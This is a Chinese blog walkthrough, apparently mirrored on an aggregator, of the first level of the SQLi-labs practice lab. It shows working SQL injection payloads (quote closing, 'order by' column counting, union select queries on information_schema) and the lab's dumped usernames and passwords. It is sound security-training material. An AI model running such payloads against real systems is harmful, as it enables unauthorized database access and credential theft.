6

sqlilabs第一关 - wahaha111

 1 year ago
source link: https://www.cnblogs.com/wahaha1/p/17378606.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

sqlilabs第一关

1. sqlilabs第一关
收起arrow-indicator

首先打开网页,进行注入点的测试 输入?id=1 and 1=1发现1=2的时候没有进行报错,有两种可能,一种是不能注入,第二种是字符型可以通过对字符型里面的''进行闭合,输入'and 1=1--+发现在1=2的情况下出现了报错,说明还是可以进行注入的,

截图.png

然后输入'order by()--+来拆解一下有多少个显示字段,输入4发现没有回显,修改为3发现有回显,说明有三个回显字段

截图.png

然后输入'union select 1,2,3--+ 因为有三个显示字段,所以查询一下显示位,因为我们要显示我们输入的1,2,3.所以要把服务器想要显示的让他报错将id=1修改为-1,发现只有2和3,有回显

截图.png

知道2和3可以回显之后就可以进行下一步,在2或者3的位置进行信息收集,首先进行他的数据库版本和数据库名字进行收集得到

数据库版本:version() 5.7.26

数据库名称:database() security

截图.png

因为得到了他的数据库的名字,所以我们要去收集他的表名

'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询到表名有 emails,referers,uagents,users

截图.png

查询完表名之后就要去查询他的列名,一共有四个表名,所以我们就要去挨个查询,去得到他的敏感信息,因为要查询列名,所以就要把查询的表名切换为列名,然后来自于表名下所有的列,,这些来自于表名所以后面有要改搜索到的表名,一共有四个表名,就要去挨个去搜索,

'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails'--+

得到的列名总共有 id,email_id id,referer,ip_address id,uagent,ip_address,username

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password

截图.png

发现里面有,username,password意思是账号密码的意思,可以在这两个列里面查询里面的信息,因为不知道有多少密码可以尝试用group_concat()来全部输出看一下

union select 1,group_concat(username),group_concat(password) from users

联合查询,全部输出(username),全部输出(password) 来自于users

因为username,password是在users 这个表里面查询出来的,就要去这个表里面去查询

截图.png

得到账号Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5

密码Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4,admin5

##本文为原创文章,转载请附上原文出处链接及本声明。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK